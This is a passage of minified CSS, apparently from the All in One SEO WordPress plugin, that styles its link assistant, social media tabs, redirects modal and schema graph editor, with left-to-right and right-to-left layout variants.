svg.aioseo-link-affiliate,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg.aioseo-link-affiliate{color:#f18200;width:12px;height:12px;margin-top:2px}.aioseo-link-assistant .aioseo-tabs.link-tabs svg.aioseo-link-suggestion,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs.link-tabs svg.aioseo-link-suggestion{color:#2c324c;width:16.67px;height:8.33px}.aioseo-link-assistant .aioseo-tabs svg,.aioseo-modal.aioseo-link-assistant-modal .aioseo-tabs svg{display:inline-block!important}.aioseo-link-assistant div.links-bottom,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom{display:flex;flex-direction:row}.aioseo-link-assistant div.links-bottom:has(a,button),.aioseo-modal.aioseo-link-assistant-modal div.links-bottom:has(a,button){padding:17px 17px 24px}.aioseo-link-assistant div.links-bottom a,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom a{text-decoration:underline}.aioseo-link-assistant div.links-bottom a.link-delete,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom a.link-delete{color:#df2a4a!important}.aioseo-link-assistant div.links-bottom a:hover,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom a:hover{text-decoration:none;cursor:pointer}.aioseo-link-assistant div.links-bottom .links-bottom-left,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left{display:flex;flex:1 1 auto;column-gap:28px;align-items:center}.aioseo-link-assistant div.links-bottom .links-bottom-left div,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left div{display:flex;align-items:center}[dir=ltr] .aioseo-link-assistant div.links-bottom .links-bottom-left div svg,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left div svg{margin-right:10px}[dir=rtl] .aioseo-link-assistant div.links-bottom .links-bottom-left div svg,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left div svg{margin-left:10px}.aioseo-link-assistant div.links-bottom .links-bottom-left button svg,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left button svg{margin-top:2.5px;width:14px;height:14px;color:#fff}[dir=ltr] .aioseo-link-assistant div.links-bottom .links-bottom-left button svg,[dir=ltr] .aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left button svg{margin-right:10px}[dir=rtl] .aioseo-link-assistant div.links-bottom .links-bottom-left button svg,[dir=rtl] .aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left button svg{margin-left:10px}.aioseo-link-assistant div.links-bottom .links-bottom-left svg.aioseo-link-external,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-left svg.aioseo-link-external{margin-top:3.5px;width:11px;height:11px;color:#005ae0}.aioseo-link-assistant div.links-bottom .links-bottom-right,.aioseo-modal.aioseo-link-assistant-modal div.links-bottom .links-bottom-right{display:flex;align-items:center}.aioseo-modal.aioseo-link-assistant-modal .modal-wrapper .modal-container{max-width:1300px}.aioseo-modal.aioseo-link-assistant-modal .modal-body{align-items:start;padding:0 0 20px!important}.aioseo-modal.aioseo-link-assistant-modal .modal-body .title-header{margin:45px 0 0;align-self:start}.aioseo-modal.aioseo-link-assistant-modal .modal-body .title-header span{font-weight:700;font-size:20px;line-height:140%;color:#141b38}@media (max-width: 1500px){.aioseo-modal.aioseo-link-assistant-modal .modal-wrapper .modal-container{max-width:1000px}}@media (max-width: 1150px){.aioseo-modal.aioseo-link-assistant-modal .modal-wrapper .modal-container{max-width:750px}.aioseo-modal.aioseo-link-assistant-modal .modal-wrapper .modal-container .modal-body{padding:0 50px 50px}}.tab-facebook .facebook-image img{margin-top:20px;width:auto;max-width:525px;max-height:525px;height:auto}.tab-facebook .facebook-image.vertical img{max-width:158px;max-height:158px}.tab-facebook .aioseo-alert{margin-bottom:20px}.tab-twitter .twitter-image img{margin-top:20px;width:auto;max-width:525px;max-height:525px;height:auto}.tab-twitter .twitter-image.vertical img{max-width:158px;max-height:158px}.tab-twitter .aioseo-alert{margin-bottom:20px}.open-social-modal{margin:12px 0;border:1px solid #DCDDE1}[dir=ltr] .open-social-modal svg{margin-right:5px}[dir=rtl] .open-social-modal svg{margin-left:5px}.open-social-copy>.col-md-3{display:none}.aioseo-post-social .aioseo-row:has(.no-name){row-gap:0}.aioseo-post-social .aioseo-col.col-md-9{position:relative}.aioseo-post-social .aioseo-tabs{background:#fff!important;border:none!important;border-bottom:2px solid #E8E8EB!important}.aioseo-post-social svg.aioseo-pencil{width:12px;height:12px;color:#434960}[dir=ltr] .aioseo-post-social .aioseo-select .multiselect__tags{padding:9px 40px 9px 16px}[dir=rtl] .aioseo-post-social .aioseo-select .multiselect__tags{padding:9px 16px 9px 40px}.aioseo-modal-content .tab-facebook .aioseo-html-tags-editor .aioseo-description,.aioseo-modal-content .tab-twitter .aioseo-html-tags-editor .aioseo-description{display:none}.aioseo-modal-content .mobile-radio-buttons{display:block!important}.aioseo-modal-content .mobile-radio-buttons>.col-md-3{display:none}.aioseo-modal-content .mobile-radio-buttons>.col-md-9{padding:0;flex-basis:100%!important;max-width:100%!important}.aioseo-modal-content .aioseo-settings-row>.aioseo-col.col-md-3{padding-bottom:0}.aioseo-modal-content .aioseo-settings-row>.aioseo-col.col-md-3,.aioseo-modal-content .aioseo-settings-row>.aioseo-col.col-md-9{flex-basis:100%;max-width:100%}[dir=ltr] .aioseo-modal-content>.aioseo-settings-row .aioseo-tabs.internal{padding-left:40px}[dir=rtl] .aioseo-modal-content>.aioseo-settings-row .aioseo-tabs.internal{padding-right:40px}.aioseo-modal-content>.aioseo-settings-row .aioseo-tabs .var-tab{display:flex;align-items:center}.aioseo-modal-content>.aioseo-settings-row .aioseo-tabs .var-tab svg{display:inline;width:16px;height:16px}.aioseo-modal-content>.aioseo-settings-row .aioseo-tabs .var-tab:before{height:auto!important;border-radius:0!important}.aioseo-modal-content>.aioseo-settings-row .aioseo-tabs .var-tab .tab-label{display:inline!important}[dir=ltr] .aioseo-modal-content>.aioseo-settings-row .aioseo-tabs .var-tab .tab-label{margin-left:10px}[dir=rtl] .aioseo-modal-content>.aioseo-settings-row .aioseo-tabs .var-tab .tab-label{margin-right:10px}.aioseo-modal-content>.aioseo-settings-row.mobile-radio-buttons .aioseo-tabs{--tabs-item-horizontal-height: 46px}.aioseo-modal-content .aioseo-tab-content{position:relative;padding:16px}.open-redirects-modal[data-v-9484ed37]{margin:12px 0}.open-redirects-modal svg[data-v-9484ed37]{width:10px;height:10px}[dir=ltr] .open-redirects-modal svg[data-v-9484ed37]{margin-right:8px}[dir=rtl] .open-redirects-modal svg[data-v-9484ed37]{margin-left:8px}.aioseo-post-schema .graph-container,.aioseo-modal.aioseo-post-schema-modal .graph-container,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container{flex:0 1 32.22%;max-width:309.33px}.aioseo-post-schema .graph-container .graph,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph{height:40px;border:1px solid #D0D1D7;border-radius:4px;display:flex;align-items:center}[dir=ltr] .aioseo-post-schema .graph-container .graph,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph{padding:4px 4px 4px 14px}[dir=rtl] .aioseo-post-schema .graph-container .graph,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph{padding:4px 14px 4px 4px}.aioseo-post-schema .graph-container .graph .left,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left{display:flex;align-items:center;overflow:hidden}.aioseo-post-schema .graph-container .graph .left span,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left span,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left span{display:inline-block;font-size:14px;line-height:40px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}[dir=ltr] .aioseo-post-schema .graph-container .graph .left span,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left span,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left span{padding-right:8px}[dir=rtl] .aioseo-post-schema .graph-container .graph .left span,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left span,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left span{padding-left:8px}.aioseo-post-schema .graph-container .graph .left svg,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left svg,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left svg{min-width:15px;max-width:15px;color:#141b38}[dir=ltr] .aioseo-post-schema .graph-container .graph .left svg,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left svg,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left svg{margin-right:10px}[dir=rtl] .aioseo-post-schema .graph-container .graph .left svg,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph .left svg,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .left svg{margin-left:10px}.aioseo-post-schema .graph-container .graph .right,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right{flex:1 0 auto;justify-content:end}.aioseo-post-schema .graph-container .graph .right.action-buttons,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons{display:inline-flex;gap:5px}[dir=ltr] .aioseo-post-schema .graph-container .graph .right.action-buttons .aioseo-tooltip,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons .aioseo-tooltip,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons .aioseo-tooltip{margin-left:4px}[dir=rtl] .aioseo-post-schema .graph-container .graph .right.action-buttons .aioseo-tooltip,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons .aioseo-tooltip,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons .aioseo-tooltip{margin-right:4px}.aioseo-post-schema .graph-container .graph .right.action-buttons button,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button{line-height:1}.aioseo-post-schema .graph-container .graph .right.action-buttons button.small,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button.small,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button.small{padding:0 9px}.aioseo-post-schema .graph-container .graph .right.action-buttons button.no-hover:hover,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button.no-hover:hover,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button.no-hover:hover{background-color:#f3f4f5}.aioseo-post-schema .graph-container .graph .right.action-buttons button svg,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button svg,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button svg{width:15px;height:15px;margin:0;color:#141b38}.aioseo-post-schema .graph-container .graph .right.action-buttons button svg.aioseo-circle-plus,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button svg.aioseo-circle-plus,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button svg.aioseo-circle-plus{width:13.85px;height:13.85px}.aioseo-post-schema .graph-container .graph .right.action-buttons button svg.aioseo-pencil,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button svg.aioseo-pencil,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button svg.aioseo-pencil{width:12.3px;height:12.3px}.aioseo-post-schema .graph-container .graph .right.action-buttons button svg.aioseo-trash,.aioseo-modal.aioseo-post-schema-modal .graph-container .graph .right.action-buttons button svg.aioseo-trash,.aioseo-modal.aioseo-post-schema-modal-cta .graph-container .graph .right.action-buttons button svg.aioseo-trash{width:9.4px;height:12px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container{display:flex;flex:1;flex-direction:column}@media (min-height: 768px){.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container{min-height:658px}}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body{display:flex;flex:1;flex-direction:column}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body>.aioseo-tabs{margin-bottom:0;background-color:#fff}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-tabs{margin-bottom:0}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-tabs .tabs-scroller .var-tabs .var-tab{display:flex;align-items:center;font-size:14px;font-weight:700}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-tabs .tabs-scroller .var-tabs .var-tab svg{display:inline;width:20px;height:20px;color:#141b38}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-tabs .tabs-scroller .var-tabs .var-tab svg{margin-right:8.75px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-tabs .tabs-scroller .var-tabs .var-tab svg{margin-left:8.75px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .main .search{margin-top:20px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-cta .header-text{font-size:18px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row{padding-bottom:0;border-bottom:none}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-name div.name{font-weight:700;font-size:14px;line-height:22px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content{font-size:14px;line-height:22px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content input,.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content .aioseo-editor .ql-editor p,.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content .aioseo-button,.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content .multiselect__option,.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content .multiselect__placeholder{font-size:14px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content .aioseo-radio{margin-right:20px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row div.settings-content .aioseo-radio{margin-left:20px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field{margin-bottom:16px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload{display:flex}@media (max-width: 912px){.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload{display:block}}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .aioseo-input-container{display:flex;max-width:445px;position:relative;width:100%}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .aioseo-input-container{margin-right:8px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .aioseo-input-container{margin-left:8px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .aioseo-input-container .aioseo-input{width:100%}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .insert-image{min-width:214px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .insert-image{margin-right:8px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .insert-image{margin-left:8px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .insert-image svg.aioseo-circle-plus{width:13px;height:13px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .insert-image svg.aioseo-circle-plus{margin-right:10px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-upload .insert-image svg.aioseo-circle-plus{margin-left:10px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row.image-field .image-preview{margin-top:20px;width:auto;max-width:525px;max-height:525px;height:auto}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-editor{background-color:#fff}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-html-tags-editor,.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-html-tags-editor .add-tags .aioseo-add-template-tag{font-size:14px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-select .multiselect__tags{padding:7px 40px 7px 12px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-select .multiselect__tags{padding:7px 12px 7px 40px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-select .multiselect__tags input,.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .aioseo-settings-row .aioseo-select .multiselect__tags span{font-size:14px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons{display:flex;padding-top:12px;border-top:1px solid #DCDDE1}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons.new-graph{justify-content:end}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons .left{flex:1 0 auto}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons .left button.red{background-color:#df2a4a;color:#fff}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons .left button.red:hover{background-color:#f83c5d}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons .right .aioseo-button:first-of-type{margin-right:16px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .buttons .right .aioseo-button:first-of-type{margin-left:16px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body .cm-editor{border:1px solid #D0D1D7;font-size:14px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates{display:flex;flex-direction:column;flex-wrap:wrap;flex:1;padding:20px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .aioseo-tabs{margin-bottom:20px;background-color:#fff}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main{display:flex;flex-direction:column;flex-wrap:wrap;flex:1}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main>.aioseo-input input.medium{padding-left:40px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main>.aioseo-input input.medium{padding-right:40px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main>.aioseo-input input.medium::placeholder{font-size:14px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main>.aioseo-input .prepend-icon{margin-left:5px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main>.aioseo-input .prepend-icon{margin-right:5px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .schema-catalog .graphs,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .your-templates .graphs{display:flex;flex-direction:row;flex-wrap:wrap;margin-top:20px;gap:20px 16px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .schema-catalog .graphs .graph .action-buttons .aioseo-tooltip:last-of-type,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .your-templates .graphs .graph .action-buttons .aioseo-tooltip:last-of-type{margin:0}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor{display:flex;flex-direction:column;flex-wrap:wrap;flex:1}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container{flex:1;overflow-y:auto;overflow-x:hidden;max-height:calc(80vh - 250px)}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container{margin-right:-16px;padding-right:16px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container{margin-left:-16px;padding-left:16px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name{margin-bottom:16px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__content li,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__content li{display:flex;align-items:center;height:38px;font-size:14px;font-weight:700;line-height:22px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__content li:hover,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__content li:hover{height:38px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__content li span,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__content li span{width:100%;padding:4px 8px;font-size:14px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__content li span svg,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__content li span svg{min-width:15px;max-width:15px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__single,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__option,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__single,.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__option{display:flex;align-items:center;font-size:14px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__content svg,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__single svg,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__content svg,[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__single svg{margin:0 10px 0 13px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__content svg,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .graph-selector .multiselect__single svg,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__content svg,[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .multiselect__single svg{margin:0 13px 0 10px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name{margin-top:1px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name{margin-left:1px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name{margin-right:1px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name input{font-size:14px}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name input{padding-left:40px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name input{padding-right:40px}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .prepend-icon{color:#141b38}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .prepend-icon{margin:0 0 0 6px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .prepend-icon{margin:0 6px 0 0}.aioseo-modal.aioseo-post-schema-modal-cta .schema-templates .main .graph-editor .graph-editor-fields-container .template-name .prepend-icon svg{width:15px;height:15px}.aioseo-post-schema .no-graphs{margin-bottom:15px}.aioseo-post-schema .graphs{max-width:1000px;margin-bottom:20px;display:flex;flex-direction:row;flex-wrap:wrap;gap:20px 16px}.aioseo-post-schema .graphs:empty{display:none}.aioseo-post-schema .buttons{margin-top:20px}.aioseo-post-schema .buttons.no-margin{margin-top:0}[dir=ltr] .aioseo-post-schema .buttons button{margin-right:8px}[dir=rtl] .aioseo-post-schema .buttons button{margin-left:8px}.aioseo-post-schema .buttons:has(.no-graphs){margin-top:0}.aioseo-post-schema.sidebar div.sidebar-description{margin-bottom:15px}.aioseo-post-schema.sidebar .graphs{display:block}.aioseo-post-schema.sidebar .graphs .graph{margin:0 0 12px}.aioseo-post-schema.sidebar .buttons button{width:100%}.aioseo-post-schema.sidebar .buttons button:not(:first-of-type){margin-top:8px}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container{max-width:1000px;overflow:visible}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-header{display:flex;align-items:center}[dir=ltr] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-header{padding:0 0 0 18px}[dir=rtl] .aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-header{padding:0 18px 0 0}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container .modal-body{position:unset}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container svg.aioseo-circle-question-mark{width:16px;height:16px;color:#8c8f9a}.aioseo-modal.aioseo-post-schema-modal-cta .modal-wrapper .modal-container svg.aioseo-circle-question-mark:hover{cursor:pointer}.aioseo-post-schema svg.aioseo-article,.aioseo-post-schema svg.aioseo-dataset,.aioseo-post-schema svg.aioseo-custom-schema,.aioseo-post-schema svg.aioseo-web-page,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-article,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-dataset,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-custom-schema,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-web-page,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-article,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-dataset,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-custom-schema,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-web-page{width:12.5px;height:12.5px}.aioseo-post-schema svg.aioseo-book,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-book,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-book{width:15px;height:11px}.aioseo-post-schema svg.aioseo-course,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-course,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-course{width:15px;height:12.5px}.aioseo-post-schema svg.aioseo-event,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-event,.aioseo-modal.aioseo-post-schema-modal-cta svg.aioseo-event{width:15px;height:12px}.aioseo-post-schema svg.aioseo-faq-page,.aioseo-modal.aioseo-post-schema-modal svg.aioseo-faq-page,.aioseo-modal.aioseo-post-schema-modal-cta 